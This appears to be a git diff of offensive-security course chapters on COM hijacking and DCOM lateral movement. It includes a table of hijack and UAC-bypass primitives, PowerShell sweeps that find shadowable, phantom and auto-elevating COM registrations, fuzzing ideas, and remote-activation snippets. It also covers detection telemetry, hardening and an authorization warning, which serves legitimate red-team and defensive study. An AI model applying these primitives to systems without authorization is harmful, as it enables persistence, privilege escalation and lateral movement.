| 1 | HKCU shadowing of `CLSID\{X}\InprocServer32`/`LocalServer32` | Merged-view precedence (4.1) → per-user persistence/exec; into auto-elevated procs → UAC bypass | Persistence / UAC |
|
||||||
|
| 2 | `TreatAs`/`AutoTreatAs` redirect | 4.2 — checked before the server key (used by Turla "COMpfun") | Persistence |
|
||||||
|
| 3 | Phantom `InprocServer32`/`LocalServer32` paths | 5.2 — load of a non-existent file → plant binary | Persistence |
|
||||||
|
| 4 | `Interface\{IID}\ProxyStubClsid32` shadow | 4.4 → DLL into **both** endpoints, incl. SYSTEM servers | LPE / Persistence |
|
||||||
|
| 5 | `TypeLib\{LIBID}\...\win32` path shadow + `LoadTypeLib` moniker quirk | 4.5 | Persistence / Execution |
|
||||||
|
| 6 | ProgID/VersionIndependentProgID/CurVer squatting | 3, 4.1 | Persistence |
|
||||||
|
| 7 | Moniker string injection (`script:`, `new:`, `session:`, `Elevation:`, composite) | 5.5, 8 — `CoGetObject`/moniker-accepting APIs (Office OLE, `LoadTypeLib`, SCT/scriptlet) | Execution |
|
||||||
|
| 8 | ROT squatting/snooping | 8.2 | LPE / Execution |
|
||||||
|
| 9 | Cross-session activation (`RunAs=Interactive User`) | 9.3 | LPE |
|
||||||
|
| 10 | DCOM remote activation of LM-friendly classes | 5.4 | Lateral movement |
|
||||||
|
| 11 | Custom-marshal blob abuse (OBJREF_CUSTOM forgery, `IMarshal` parsing bugs) | 6.1/6.2 | Execution / Relay |
|
||||||
|
| 12 | Surrogate abuse (`DllSurrogate` → attacker DLL in `dllhost`) | 4.3 | Persistence / Execution |
|
||||||
|
| 13 | Reg-free COM manifest hijack | 4.7 | Persistence / Execution |
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: each layer of the COM stack is annotated with the hijack primitive that targets it. Use it as a mental index — given any attack name from later chapters, locate its layer and you can predict its prerequisites and telemetry.*
|
||||||
|
|
||||||
|
**Representative CVEs anchored in fundamentals.** CVE-2015-2370: DCOM activation RPC replay → SYSTEM LPE — an NTLM-authenticated `ResolveOxid2` followed by a replayed `RemoteCreateInstance` ([19]). CVE-2017-8759: the `soap:` WSDL moniker driving .NET code generation → RCE, exploited in the wild ([25]). CVE-2018-0824: "Microsoft COM for Windows RCE" — ole32 deserialization of crafted OLE/moniker data delivered via Office OLE2 objects, exploited in the wild and patched May 2018; describe it as a moniker/OLE deserialization RCE. CVE-2017-0100: Windows COM/DCOM elevation-of-privilege involving HelpPane auto-elevation and activation identity (Forshaw) — *moderate confidence on the exact mechanism attribution; verify before citing* (flag carried from the research brief). CVE-2021-26414: the DCOM activation authentication-level bypass behind the hardening saga of section 9.5 ([20], [21]). Office responded to the moniker wave with a per-application kill list at `HKLM\SOFTWARE\Microsoft\Office\<ver>\Common\COM Compatibility\{CLSID}` ("ActivationFilter"/kill bits) covering the htafile `{3050F4D8-...}`, scriptlet `{06290BD3-...}`, Composite `{00000309-...}`, File `{00000303-...}`, New `{ECABAFC6-...}`, and SOAP `{ECABB0C7-...}` monikers ([25]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. Tooling and lab setup
|
||||||
|
|
||||||
|
| Tool | What you use it for |
|
||||||
|
|---|---|
|
||||||
|
| **OleViewDotNet** ([17]) | The standard recon tool: enumerates classes/interfaces/AppIDs/typelibs (including per-user and WOW64 views), shows AppID ACLs/`RunAs`/Elevation flags, parses vtables from typelibs and `.winmd`, ROT viewer, invokes arbitrary methods, spawns elevated objects (`CreateElevated`), filter "Run as Interactive User". |
|
||||||
|
| `oleview.exe` (SDK) | Legacy Microsoft viewer; quick sanity checks of `HKCR` trees. |
|
||||||
|
| `dcomcnfg.exe` | GUI editor for AppID Launch/Access ACLs and machine OLE policy (section 4.6). |
|
||||||
|
| `regedit` / `reg query HKCR\CLSID /s` / PowerShell `Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID` | Raw registry ground truth. |
|
||||||
|
| ProcMon | Filter `Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32`, Result = `NAME NOT FOUND` for phantom-path hunting. |
|
||||||
|
| Wireshark | `dcom`/`dcerpc` dissectors; grep `MEOW` (`0x574F454D`) to spot marshaled references ([7], [9]). |
|
||||||
|
| RpcView | Maps RPC interfaces/IPIDs to processes — who exports which COM objects. |
|
||||||
|
| Event Viewer | System log, source DistributedCOM: 10015/10016 (launch/access denials), 10036–10038 (hardening floor). |
|
||||||
|
| API Monitor / WinDbg | `bp combase!CoCreateInstance` — watch every activation with its CLSID and CLSCTX. |
|
||||||
|
|
||||||
|
**Lab layout** (from the brief's lab notes): two domain-joined VMs for DCOM lateral-movement work; one VM with a standard (non-admin) user for HKCU-hijack labs; snapshot before every `regsvr32`/manifest experiment; enable the "Microsoft-Windows-COMRuntime" ETW provider plus OLE32/COM ETW providers for activation tracing.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 14. Research Lab: Building Your COM Research Workbench
|
||||||
|
|
||||||
|
This chapter's lab is not a bug hunt; it is the *workbench* every later bug hunt depends on. Build it once, snapshot it, and reuse it for the rest of the course.
|
||||||
|
|
||||||
|
### 14.1 Hunting hypothesis
|
||||||
|
|
||||||
|
Fundamentals-level bugs still hide where the documented model and the implementation disagree: redirection hops (`TreatAs`, `CurVer`, SxS contexts) applied in an order nobody audited; string-parsing fallbacks like `LoadTypeLib`'s moniker path ([23]); per-user shadows of keys defenders assume are HKLM-only (ProxyStubClsid32, TypeLib paths); and default ACL/authn values that shift between builds (section 4.6 warning). Any place a *registry value chooses code* is a candidate.
|
||||||
|
|
||||||
|
### 14.2 Enumeration — build the target list
|
||||||
|
|
||||||
|
PowerShell sweeps against the merged view *(illustrative — run as both admin and standard user to see both layers)*:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# All classes with an Elevation subkey (auto-elevation candidates, section 10)
|
||||||
|
Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID -ErrorAction SilentlyContinue |
|
||||||
|
Where-Object { Test-Path "$($_.PSPath)\Elevation" } |
|
||||||
|
ForEach-Object { "{0} {1}" -f $_.PSChildName, (Get-ItemProperty $_.PSPath).'(default)' }
|
||||||
|
|
||||||
|
# Per-user shadows: CLSIDs present in BOTH HKCU and HKLM (section 4.1)
|
||||||
|
$hkcu = Get-ChildItem Registry::HKEY_CURRENT_USER\Software\Classes\CLSID -ErrorAction SilentlyContinue
|
||||||
|
$hklm = Get-ChildItem Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID -ErrorAction SilentlyContinue
|
||||||
|
Compare-Object ($hkcu | ForEach-Object PSChildName) ($hklm | ForEach-Object PSChildName) -IncludeEqual -ExcludeDifferent
|
||||||
|
|
||||||
|
# Phantom InprocServer32/LocalServer32 targets: registered path does not exist on disk (section 5.2)
|
||||||
|
Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID -ErrorAction SilentlyContinue | ForEach-Object {
|
||||||
|
foreach ($sub in 'InprocServer32','LocalServer32') {
|
||||||
|
$p = "$($_.PSPath)\$sub"
|
||||||
|
if (Test-Path $p) {
|
||||||
|
$path = (Get-ItemProperty $p).'(default)'
|
||||||
|
if ($path -and -not (Test-Path ($path -replace '"','' -replace ' .*$','') -ErrorAction SilentlyContinue)) {
|
||||||
|
"{0} [{1}] -> {2}" -f $_.PSChildName, $sub, $path }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Surrogates and cross-session servers (sections 4.3, 9.3)
|
||||||
|
Get-ChildItem Registry::HKEY_CLASSES_ROOT\AppID -ErrorAction SilentlyContinue | ForEach-Object {
|
||||||
|
$v = Get-ItemProperty $_.PSPath
|
||||||
|
if ($v.DllSurrogate -ne $null -or $v.RunAs -eq 'Interactive User') {
|
||||||
|
"{0} RunAs={1} DllSurrogate='{2}'" -f $_.PSChildName, $v.RunAs, $v.DllSurrogate }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Cross-check in OleViewDotNet: per-user view, WOW64 view, "Run as Interactive User" filter, and the ROT viewer ([17]).
|
||||||
|
|
||||||
|
### 14.3 Triage heuristics
|
||||||
|
|
||||||
|
A registration is a promising research/hijack target if:
|
||||||
|
|
||||||
|
- It lives in HKLM but is *shadowable* from HKCU (most are, section 4.1);
|
||||||
|
- Its server binary is unsigned, on a writable path, or missing (phantom);
|
||||||
|
- It has an AppID with `RunAs=Interactive User`, empty `DllSurrogate`, or weak Launch/Access ACLs;
|
||||||
|
- It exposes a dual interface with powerful methods (file, process, registry, network verbs);
|
||||||
|
- It is marked `Programmable` (script-reachable) or implements `IParseDisplayName`/`IMarshal` (string/blob parsing).
|
||||||
|
|
||||||
|
### 14.4 Analysis workflow
|
||||||
|
|
||||||
|
1. **Baseline first.** Snapshot the VM; export `HKCU\Software\Classes` and `HKLM\SOFTWARE\Classes`; record running `dllhost` instances and DistributedCOM event baselines. Every experiment gets a before/after diff.
|
||||||
|
2. **Static:** read the registration (section 4.2 checklist), the AppID, the interface's ProxyStubClsid32, the typelib; confirm threading model and elevation flags in OleViewDotNet.
|
||||||
|
3. **Dynamic:** ProcMon with the section-13 filters during activation; WinDbg `bp combase!CoCreateInstance` and `bp combase!CoGetObject` to capture exact strings and CLSCTX; Wireshark for any remote path (grep `MEOW`).
|
||||||
|
4. **ETW tracing:** enable the "Microsoft-Windows-COMRuntime" provider plus OLE32/COM ETW providers before the trigger, then correlate activation events with process spawns *(provider names per the brief; collection via your usual ETW tooling — illustrative)*.
|
||||||
|
5. **Patch-diffing habit:** when a COM CVE drops, diff `combase.dll`/`ole32.dll`/`rpcss.dll` between builds and map changed functions back to this chapter's mechanisms (activation gates, OBJREF parsing, elevation policy). The CVE-2021-26414 saga (section 9.5) shows how much telemetry and behavior a single floor value changes ([20], [21]).
|
||||||
|
|
||||||
|
### 14.5 Fuzzing/mutation ideas
|
||||||
|
|
||||||
|
Follow the incendium.rocks methodology ([26]): enumerate registry/CLSIDs → dump each class's interfaces and methods to JSON (OleViewDotNet-style typelib parsing) → build dynamic `IDispatch` stubs → automated `Invoke` with mutated arguments. Fundamentals-specific mutations: typed `VARIANT` confusion in `DISPPARAMS` (remember reverse argument order), over-long/embedded-null strings for any name-accepting method, and `DISPID` values outside the typelib's declared range.
|
||||||
|
|
||||||
|
### 14.6 From crash/lead to primitive
|
||||||
|
|
||||||
|
A crash inside a COM server is only interesting once you control the *input channel*: prove reachability by driving it through the same activation path a real attacker would use (HKCU shadow → in-proc load, or DCOM activation → ORPC call), then check the server's identity (section 9.3) — a crash in a `RunAs=Interactive User` or SYSTEM service is an LPE lead; in a per-user server, persistence or execution. Document the registry prerequisites next; they are usually the real bug.
|
||||||
|
|
||||||
|
### 14.7 Further reading
|
||||||
|
|
||||||
|
- Automating COM/DCOM vulnerability research — incendium.rocks ([26])
|
||||||
|
- COM in Sixty Seconds — James Forshaw ([42])
|
||||||
|
- Attacking Visual Studio for Initial Access — Outflank ([23])
|
||||||
|
- COM Hijacking in Windows — cyberc0re ([13])
|
||||||
|
- The Component Object Model — magicsplat ([12])
|
||||||
|
- OleViewDotNet — James Forshaw ([17])
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 15. Quick-reference GUID appendix
|
||||||
|
|
||||||
|
| Item | GUID |
|
||||||
|
|---|---|
|
||||||
|
| IID_IUnknown | 00000000-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IClassFactory | 00000001-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IMarshal | 00000003-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IMoniker / IBindCtx / IROT | 0000000F-… / 0000000E-… / 00000010-… (-C000-000000000046) |
|
||||||
|
| IID_IParseDisplayName | 0000001A-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IDispatch | 00020400-0000-0000-C000-000000000046 |
|
||||||
|
| IID_ITypeInfo / ITypeLib | 00020401-… / 00020402-… |
|
||||||
|
| PSDispatch / PSOAInterface (universal marshaler) | 00020420-… / 00020424-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IRemUnknown / IRemUnknown2 | 00000131-… / 00000143-… |
|
||||||
|
| IGlobalInterfaceTable; CLSID_StdGIT | 00000146-…; 00000323-0000-0000-C000-000000000046 |
|
||||||
|
| CLSID_FreeThreadedMarshaler | 00000333-0000-0000-C000-000000000046 |
|
||||||
|
| IRemoteSCMActivator / ISystemActivator | 000001A0-0000-0000-C000-000000000046 |
|
||||||
|
| IOXIDResolver (IObjectExporter) | 99FCFEC4-5260-101B-BBCB-00AA0021347A |
|
||||||
|
| Monikers: File/Item/Anti/Pointer/Composite/Class | 00000303/…304/…305/…306/…309/…31A -C000-000000000046 |
|
||||||
|
| NewMoniker | ECABAFC6-7F19-11D2-978E-0000F8757E2A |
|
||||||
|
| ScriptMoniker (scrobj.dll) | 06290BD3-48AA-11D2-8432-006008C3FBFC |
|
||||||
|
| QueueMoniker / SoapMoniker | ECABAFC7-… / ECABB0C7-7F19-11D2-978E-0000F8757E2A |
|
||||||
|
| CMSTPLUA / ICMLuaUtil | 3E5FC7F9-9A51-4367-9063-A120244FBEC7 / 6EDD6D74-C007-4E75-B76A-E5740995E24C |
|
||||||
|
| CLSID_FileOperation (IFileOperation host) | 3AD05575-8857-4850-9277-11B85BDB8E09 |
|
||||||
|
| Task Scheduler (Schedule.Service) | 0F87369F-A4E5-4CFC-BD3E-73E6154572DD |
|
||||||
|
| WScript.Shell / Shell.Application / IE | 72C24DD5-D70A-438B-8A42-98424B88AFB8 / 13709620-C279-11CE-A49E-444553540000 / 0002DF01-0000-0000-C000-000000000046 |
|
||||||
|
| IInspectable (WinRT) | AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 16. References
|
||||||
|
|
||||||
|
[1] CoCreateInstance function; CLSCTX enumeration — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance ; https://learn.microsoft.com/en-us/windows/win32/api/wtypesbase/ne-wtypesbase-clsctx
|
||||||
|
[2] CoInitializeEx function; CoInitializeSecurity function — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializeex ; https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializesecurity
|
||||||
|
[3] The COM Elevation Moniker — MicrosoftDocs/win32 (registry requirements LocalizedString / Elevation\Enabled / error codes) — https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/com/the-com-elevation-moniker.md
|
||||||
|
[4] AppID Key — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/appid-key
|
||||||
|
[5] CLSID Key — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
|
||||||
|
[6] Registering COM Servers / InprocServer32 — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/registering-com-servers
|
||||||
|
[7] Distributed Component Object Model Protocol — DCOM/1.0 draft (Brown/Kindel; OBJREF/STDOBJREF/DUALSTRINGARRAY/MEOW, tower IDs) — https://download.samba.org/pub/samba/specs/draft-brown-dcom-v1-spec-03.txt (IETF mirror: https://datatracker.ietf.org/doc/html/draft-brown-dcom-v1-spec-03)
|
||||||
|
[8] [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol — Microsoft Learn — https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/
|
||||||
|
[9] Understanding the DCOM Wire Protocol by Analyzing Network Data Packets — MSJ (March 1998, mirror) — https://jacobfilipp.com/MSJ/dcom.html
|
||||||
|
[10] 3 Ways to Get a COM Server Process ID (OBJREF/STDOBJREF C structs, OXID/OID/IPID semantics) — Apriorit — https://www.apriorit.com/dev-blog/724-windows-three-ways-to-get-com-server-process-id
|
||||||
|
[11] Inside COM+ (Dale Rogerson) — More on Monikers; DLL Surrogates; Marshaled Interface Pointers — https://thrysoee.dk/InsideCOM+/ch11c.htm ; https://thrysoee.dk/InsideCOM+/ch12b.htm ; https://thrysoee.dk/InsideCOM+/ch19e.htm
|
||||||
|
[12] The Component Object Model (COM registry keys table, HKCR merged view, SCM lookup walkthrough) — magicsplat — https://www.magicsplat.com/book/com.html
|
||||||
|
[13] COM Hijacking in Windows (HKCR/WOW6432Node, per-user vs system hives, InprocServer32/LocalServer32/TreatAs) — cyberc0re — https://www.cyberc0re.in/posts/com-hijacking-in-windows/
|
||||||
|
[14] Lateral Movement Using DCOM Objects and C# (CLSID/ProgID/AppID model, AppID requirement for DCOM) — klezvirus — https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
|
||||||
|
[15] Yet another DCOM object for lateral movement (Control Panel abuse) — Kaspersky Securelist — https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/
|
||||||
|
[16] Abusing .NET Core CLR Diagnostic Features (+CVE-2023-33127; cross-session DCOM activation via "Interactive User" RunAs) — bohops (2023) — https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
|
||||||
|
[17] OleViewDotNet — James Forshaw (tyranid) — https://github.com/tyranid/oleviewdotnet
|
||||||
|
[18] DCOM Logical Privilege Escalation Part 6 (cites Forshaw "COM in Sixty Seconds"; ISystemActivator 000001A0, PropsOutInfo/MInterfacePointer→OBJREF) — https://ithelp.ithome.com.tw/articles/10339264
|
||||||
|
[19] CVE-2015-2370 DCOM DCE/RPC protocol analysis (IRemoteSCMActivator::RemoteCreateInstance replay LPE; ResolveOxid2) — https://security.zone.ci/AnQuanKe/AnQuanKeInfo/132266.html
|
||||||
|
[20] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support — https://support.microsoft.com/en-au/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
|
||||||
|
[21] DCOM authentication hardening: what you need to know — Microsoft Tech Community — https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154
|
||||||
|
[22] Microsoft DCOM Hardening Patch (CVE-2021-26414) — events 10036/10037/10038 details — SoftwareToolbox — https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening
|
||||||
|
[23] Attacking Visual Studio for Initial Access (LoadTypeLib moniker-parsing quirk; script moniker 06290BD3) — Outflank (2023) — https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
|
||||||
|
[24] Moniker Magic: Running Scripts Directly in Microsoft Office (script moniker CLSID, OleCreateLink bind chain) — leo00000 (PDF) — https://leo00000.github.io/pdf/Moniker_Magic_final.pdf
|
||||||
|
[25] Office Moniker vulnerabilities overview (CVE-2017-8759, CVE-2018-8174, Office moniker blacklist CLSIDs) — https://zhuanlan.zhihu.com/p/352124245
|
||||||
|
[26] Automating COM/DCOM vulnerability research (OleViewDotNet-driven fuzzing; IDispatch JSON dump methodology) — incendium.rocks — https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
|
||||||
|
[27] Security Considerations for Requestors (CoInitializeSecurity hardening guidance) — Microsoft (MSDN archive) — https://msdn.microsoft.com/en-us/library/windows/desktop/aa384604(v=vs.85).aspx
|
||||||
|
[28] CoInitializeSecurity (ole32) — EOAC/Authn/Imp enum values — pinvoke.net — http://pinvoke.net/default.aspx/ole32.CoInitializeSecurity
|
||||||
|
[29] The case of COM failing to pump messages in a single-threaded COM apartment — Raymond Chen, The Old New Thing (2025) — https://devblogs.microsoft.com/oldnewthing/20250314-00/?p=110965
|
||||||
|
[30] Apartments and COM Threading Models (STA/MTA internals, hidden window, SCM activation modes) — Syracuse ECS CSE775 — https://ecs.syr.edu/faculty/fawcett/Handouts/cse775/Presentations/apartments.pdf
|
||||||
|
[31] Windows Scheduled Tasks research (elevation-moniker requirements testing; Task Scheduler CLSID 0F87369F) — 3gstudent — https://3gstudent.github.io/backup-3gstudent.github.io/
|
||||||
|
[32] Reversing ICMLuaUtil: ShellExec and CallCustomActionDll for Elevated Execution — codedintrusion — https://codedintrusion.com/posts/reversing-icmluautil/
|
||||||
|
[33] Sharp4COMBypassUAC: ICMLuaUtil UAC bypass (elevation moniker + BIND_OPTS3 dwClassContext=4) — xz.aliyun.com — https://xz.aliyun.com/t/16063
|
||||||
|
[34] ALPHV ransomware analysis (CMSTPLUA elevation moniker in the wild; dllhost /Processid artifact) — d01a.github.io — https://d01a.github.io/alphv/
|
||||||
|
[35] Info Stealing Campaign Uses DLL Sideloading Through Cisco Webex Binaries (CoGetObject elevation moniker TTP, T1548.002) — Trellix — https://www.trellix.com/blogs/research/how-attackers-repackaged-a-threat-into-something-that-looked-benign/
|
||||||
|
[36] GhostWeaver PowerShell RAT (PEB masquerade + elevation moniker + ServerCreateElevatedObject) — derp.ca — https://www.derp.ca/research/ghostweaver-tag124-powershell-rat/
|
||||||
|
[37] In-Memory Loader Drops ScreenConnect (elevation moniker string obfuscation in loaders) — Zscaler ThreatLabz — https://www.zscaler.com/jp/blogs/security-research/memory-loader-drops-screenconnect
|
||||||
|
[38] Lines Sample (canonical registry registration: ProgID/CurVer/LocalServer32/TypeLib/Interface ProxyStubClsid32=PSOAInterface) — Microsoft MSDN — https://msdn.microsoft.com/en-us/library/ms220980.aspx
|
||||||
|
[39] MSI Packaging ebook — TypeLib table → HKCR\TypeLib\{LIBID}\<ver>\0\Win32, FLAGS, HELPDIR — Advanced Installer — https://www.advancedinstaller.com/application-packaging-training/msi/ebook/registries.html
|
||||||
|
[40] Default CLSID/IID list Windows 10 19041 (scrobj.dll family: Scriptlet.Context/Constructor/Factory, Script moniker BD3, HostEncode BD4, TypeLib BD5) — inaz2 gist — https://gist.github.com/inaz2/5fa3ca02f4e8204a7dd4d4b50fd0c13f
|
||||||
|
[41] STA vs MTA in COM: Apartments, Marshaling, and Deadlocks — comcomponent.com — https://comcomponent.com/en/blog/2026/01/31/000-sta-mta-com-relationship/
|
||||||
|
[42] COM in Sixty Seconds — James Forshaw (44CON 2017 talk; activation/OBJREF internals) — https://github.com/tyranid/presentations
|
||||||
@@ -0,0 +1,764 @@
|
|||||||
|
# 02 · DCOM Lateral Movement
|
||||||
|
|
||||||
|
> **Audience / level:** Red team operators and detection engineers; no DCOM background assumed, ramping to advanced tradecraft. **Prerequisites:** basic Windows administration (registry, services, event logs), TCP/IP fundamentals, and PowerShell or C# literacy. **Estimated reading time:** 90–120 minutes.
|
||||||
|
> After this chapter you will be able to explain DCOM remote activation packet-by-packet, execute commands on remote hosts through seven abusable COM object classes, pick the right tool for a given foothold, and predict exactly which telemetry each variant produces.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. COM and DCOM in ten minutes](#1-com-and-dcom-in-ten-minutes)
|
||||||
|
- [2. Activation over the wire](#2-activation-over-the-wire)
|
||||||
|
- [3. Authentication and authorization](#3-authentication-and-authorization)
|
||||||
|
- [4. Why DCOM is living off the land](#4-why-dcom-is-living-off-the-land)
|
||||||
|
- [5. Abusable remote COM objects](#5-abusable-remote-com-objects)
|
||||||
|
- [5.1 MMC20.Application](#51-mmc20application-remote-executeshellcommand)
|
||||||
|
- [5.2 ShellWindows](#52-shellwindows-shellexecute-as-the-interactive-user)
|
||||||
|
- [5.3 ShellBrowserWindow](#53-shellbrowserwindow-shellexecute-and-navigate)
|
||||||
|
- [5.4 Excel.Application](#54-excelapplication-five-execution-primitives)
|
||||||
|
- [5.5 Outlook.Application](#55-outlookapplication-createobject-plus-dotnettojscript)
|
||||||
|
- [5.6 Visio and PowerPoint](#56-visio-and-powerpoint-add-in-loading)
|
||||||
|
- [5.7 Abandoned DCOM binaries](#57-abandoned-dcom-binaries-mobsync-and-friends)
|
||||||
|
- [5.8 Adjacent surfaces](#58-adjacent-surfaces-word-internet-explorer-lethalhta)
|
||||||
|
- [6. Tooling](#6-tooling)
|
||||||
|
- [7. Detection and OpSec](#7-detection-and-opsec)
|
||||||
|
- [8. Hardening and the limits of KB5004442](#8-hardening-and-the-limits-of-kb5004442)
|
||||||
|
- [Research Lab: Hunting New DCOM Lateral-Movement Primitives](#research-lab-hunting-new-dcom-lateral-movement-primitives)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. COM and DCOM in ten minutes
|
||||||
|
|
||||||
|
The Component Object Model (COM) is Windows' local inter-process object model: a binary contract that lets one process instantiate and call objects implemented by another, with classes and interfaces identified by GUIDs. Distributed COM (DCOM) is the same object model remoted over the network. The transport is ORPC — Object RPC, Microsoft's extension of DCE/RPC carried over the `ncacn_ip_tcp` protocol sequence ([11]).
|
||||||
|
|
||||||
|
> **Beginner note:** A **CLSID** (class identifier) is the GUID that names a COM class, for example `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}`. A **ProgID** is a human-readable alias such as `MMC20.Application`. Both are registered under `HKCR\CLSID`; the registry tells the COM runtime which binary implements the class and how to start it.
|
||||||
|
|
||||||
|
> **Beginner note:** An **AppID** is a second GUID, stored under `HKCR\AppID\{AppID}`, that groups classes for activation policy: which identity the server runs as (`RunAs`) and who may launch or activate it remotely (`LaunchPermission`). When you audit "DCOM permissions" you are auditing AppIDs, not CLSIDs.
|
||||||
|
|
||||||
|
A remote activation from .NET is three lines. COM interop performs `CoCreateInstanceEx` with a `COSERVERINFO` structure for you — no P/Invoke required:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName) # or GetTypeFromProgID($ProgId, $ComputerName)
|
||||||
|
$ComObject = [Activator]::CreateInstance($Type)
|
||||||
|
```
|
||||||
|
|
||||||
|
Under the hood, the runtime executes:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoCreateInstanceEx(&clsid, pUnkOuter, CLSCTX_REMOTE_SERVER, pServerInfo /* COSERVERINFO */, n, rgiq);
|
||||||
|
```
|
||||||
|
|
||||||
|
`COSERVERINFO.pwszName` carries the target — and doubles as an authentication selector: a hostname or FQDN lets Kerberos work, while a bare IP address forces NTLMv2 (section 3).
|
||||||
|
|
||||||
|
> **Key idea:** Everything in this chapter is a variation on one theme — find a class with a dangerous method, remote-activate it with `CoCreateInstanceEx`, then call the method over ORPC. The objects change; the plumbing never does.
|
||||||
|
|
||||||
|
> **Legal:** Every technique here requires administrative credentials on the target and executes code on machines you do not own. Use only inside an authorized engagement with written scope; reproduce in your own lab VMs (the PoCs below keep the RFC1918 addresses from the original write-ups).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Activation over the wire
|
||||||
|
|
||||||
|
When the three-line PowerShell snippet above runs against a remote host, this is what crosses the network, in order:
|
||||||
|
|
||||||
|
1. **Endpoint mapping (TCP 135).** The client connects to the target's RPC endpoint mapper (epmap) on TCP 135. This connection is short-lived.
|
||||||
|
2. **Class resolution.** The target's RPCSS service resolves the CLSID under `HKCR\CLSID` and locates the hosting binary and its AppID.
|
||||||
|
3. **Authorization check.** RPCSS evaluates the AppID's Launch/Activation permission (section 3) before starting anything.
|
||||||
|
4. **Server start.** On success, the DCOM service control manager — **DcomLaunch**, visible as `svchost.exe -k DcomLaunch` — starts the server process: `mmc.exe -Embedding`, `EXCEL.EXE /automation -Embedding`, or `DllHost.exe /Processid:{AppID}` for DLL-hosted classes.
|
||||||
|
5. **OXID resolution.** The client asks the object exporter (`IObjectExporter::ResolveOxid2`) which dynamic port the new object listens on: 49152–65535 on Vista and later, 1024–5000 on legacy systems.
|
||||||
|
6. **Method calls.** All subsequent traffic — `IDispatch::GetIDsOfNames` to resolve method names to DISPIDs, then `IDispatch::Invoke` with arguments — flows over that dynamic high port.
|
||||||
|
|
||||||
|
> **Beginner note:** An **OXID** (object exporter identifier) is DCOM's handle for "the set of objects a server process exports"; resolving it is how the client learns the dynamic port. **IDispatch** is the late-binding interface that lets scripting clients and .NET `InvokeMember` call methods *by name*: `GetIDsOfNames("ShellExecute")` returns a DISPID, and `Invoke` executes it. Because calls are made by name, method strings cross the wire in readable form unless packet-privacy encryption is negotiated — a gift to network defenders (section 7).
|
||||||
|
|
||||||
|
The activation call itself is handled by `IRemoteSCMActivator` (historically `ISystemActivator`) on the target — opnum 3 `RemoteGetClassObject` for class objects, opnum 4 `RemoteCreateInstance` for instances. Both opnums against TCP 135 are high-fidelity network indicators, particularly between workstations.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: follow the numbered arrows left to right — the client's `RemoteCreateInstance` to TCP 135, OXID resolution via `ResolveOxid2`, then method calls on the dynamic high port. The amber callout marks where an OXID-man-in-the-middle attack (the potato family) hijacks the flow.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Authentication and authorization
|
||||||
|
|
||||||
|
**DCOM is always authenticated.** There is no anonymous remote activation. Two protocol paths exist:
|
||||||
|
|
||||||
|
| Path | Trigger | Server-side proof | Telemetry |
|
||||||
|
|---|---|---|---|
|
||||||
|
| Kerberos | Target given as hostname/FQDN | Service ticket for SPN `RPCSS/<host>` | Security 4768/4769 (DC), 4624 Type 3 on target |
|
||||||
|
| NTLMv2 | Target given as bare IP | NTLM challenge/response | 4624 Type 3 on target, 4648 on source for explicit creds |
|
||||||
|
|
||||||
|
The 4624 Type 3 (network logon) on the target is unavoidable; 4672 (special privileges assigned) typically follows when the account is an admin. `PtH` (pass-the-hash) works over the NTLM path; membership in **Protected Users** blocks NTLM and therefore NTLM-based DCOM, while Kerberos DCOM remains possible. Tokens are single-hop: DCOM activation does not delegate, so you cannot bounce credentials onward from the pivot. For local testing, a loopback activation against `127.0.0.1` works — with ShellWindows it even runs in the interactive user's explorer context.
|
||||||
|
|
||||||
|
